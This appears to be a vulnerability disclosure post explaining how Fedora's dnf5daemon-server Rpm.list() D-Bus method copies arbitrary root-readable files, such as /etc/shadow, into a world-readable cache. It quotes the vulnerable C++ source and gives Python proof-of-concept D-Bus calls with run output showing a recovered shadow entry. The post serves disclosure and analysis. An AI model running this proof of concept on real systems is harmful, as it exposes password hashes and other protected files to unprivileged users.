One DNF5 query away from /etc/shadow: CVE-2026-123177
Recent Fedora Workstation releases install dnf5daemon-server, a root service
on the system bus. Any local user can call Rpm.list(), and its package
patterns can be URLs. Before touching DNF5, the account could not read
/etc/shadow:
$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc)
$ head -1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
I handed /etc/shadow to Rpm.list() as a file:// pattern. The answer was
not a rpm. Fair enough, except the daemon waited until after copying
/etc/shadow into its package cache as a root-owned 0644 file. A
low priv user could read the copy. Red Hat assigned the bug
CVE-2026-123177.
I ran the PoC over SSH. It talks straight to Rpm.list() on the system bus,
without a polkit check.
Tested systems
I tested Fedora Workstation with SELinux enforcing:
Fedora 44: dnf5daemon-server-5.4.6.0-1.fc44.x86_64
Fedora 45: dnf5daemon-server-5.4.7.0-1.fc45.x86_64
Fedora 46 Rawhide (20261112.n.0): dnf5daemon-server-5.4.7.0-1.fc46.x86_64
On all three systems, D-Bus started the daemon as root on demand.
A package pattern can be a URL
Rpm.list() accepts a patterns array. In
dnf5daemon-server/services/rpm/rpm.cpp:401-410,
those strings go straight to add_cmdline_packages():
std::vector<std::string> patterns =
dnfdaemon::key_value_map_get<std::vector<std::string>>(
options, "patterns", std::vector<std::string>{});
for (auto & [path, package] : base->get_repo_sack()->add_cmdline_packages(patterns)) {
cmdline_packages.push_back(std::move(package));
}
Package patterns are normally names, but add_cmdline_packages() also
recognizes local RPM paths and URLs. There is no polkit check in
Rpm.list()
before the query reaches it; package queries are meant to be harmless. Usually
they are. :)
The PoC sends a pattern like:
file:///etc/shadow?adamm-<pid>-<timestamp>.rpm
file:// selects the file. The query does not change what gets opened; it gives
the cached copy a unique .rpm tag that the PoC can find afterward.
Download now, ask RPM questions later
The next layer is
libdnf5/repo/repo_sack.cpp:224-300.
It collects URL-like patterns, builds a filename below the command-line
repository cache and runs the downloader:
if (!url_to_path.empty()) {
auto & logger = *p_impl->base->get_logger();
// download remote URLs
libdnf5::repo::FileDownloader downloader(p_impl->base);
for (auto & [url, dest_path] : url_to_path) {
logger.debug("Downloading package \"{}\" to file \"{}\"", url, dest_path.string());
// TODO(mblaha): temporarily used the dummy DownloadCallbacks instance
downloader.add(std::string{url}, dest_path.string());
}
downloader.download();
// fill the command line repo with downloaded URLs
for (const auto & [url, path] : url_to_path) {
path_to_package.emplace(url, cmdline_repo->add_rpm_package(path.string(), calculate_checksum));
}
}
The ordering is the bug: the daemon fetches the input as root, then asks RPM
whether it is a package. /etc/shadow fails that check, but the 0644 copy
remains in a 0755 cache directory, so a low priv user can read it.
Triggering the copy
The PoC needs two D-Bus calls: open a session, then pass the tagged URL to
Rpm.list():
bus = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)
session = call(
bus,
"/org/rpm/dnf/v0",
"org.rpm.dnf.v0.SessionManager",
"open_session",
GLib.Variant("(a{sv})", ({
"load_available_repos": GLib.Variant("b", False),
"load_system_repo": GLib.Variant("b", False),
},)),
"(o)",
).unpack()[0]
try:
call(
bus,
session,
"org.rpm.dnf.v0.rpm.Rpm",
"list",
GLib.Variant("(a{sv})", ({
"patterns": GLib.Variant("as", [url]),
},)),
"(aa{sv})",
)
except GLib.Error:
pass # The root-side copy already happened.
Rpm.list() rejects the non-RPM input, but the tagged copy is already sitting
in the readable cache. The PoC finds that filename and copies it to out:
$ python3 poc.py /etc/shadow -o out
[*] uid=1001, direct_read=False
[*] asking DNF5 daemon to inspect /etc/shadow
[+] cache=/var/cache/dnf5daemon-server/... owner=0:0 mode=0644 size=1450
[+] recovered=out
$ grep '^poc:' out
poc:$y$j9T$...snip...
I wanted a shell one-liner, but open_session() ties its object to the D-Bus
connection that created it. Two gdbus calls mean two connections, so the
second one hits UnknownObject. The Python version keeps one connection open
and ran on all three systems without adding any packages.
/etc/shadow was just the cleanest target. Rpm.list() also takes http://
and https://; on Fedora 44 and 45 the daemon followed redirects within the
same scheme and left the full response in its readable cache.
Any known file path the daemon can read works the same way. I could not push
the copy out of /var/cache/dnf5daemon-server, so the primitive stops at read.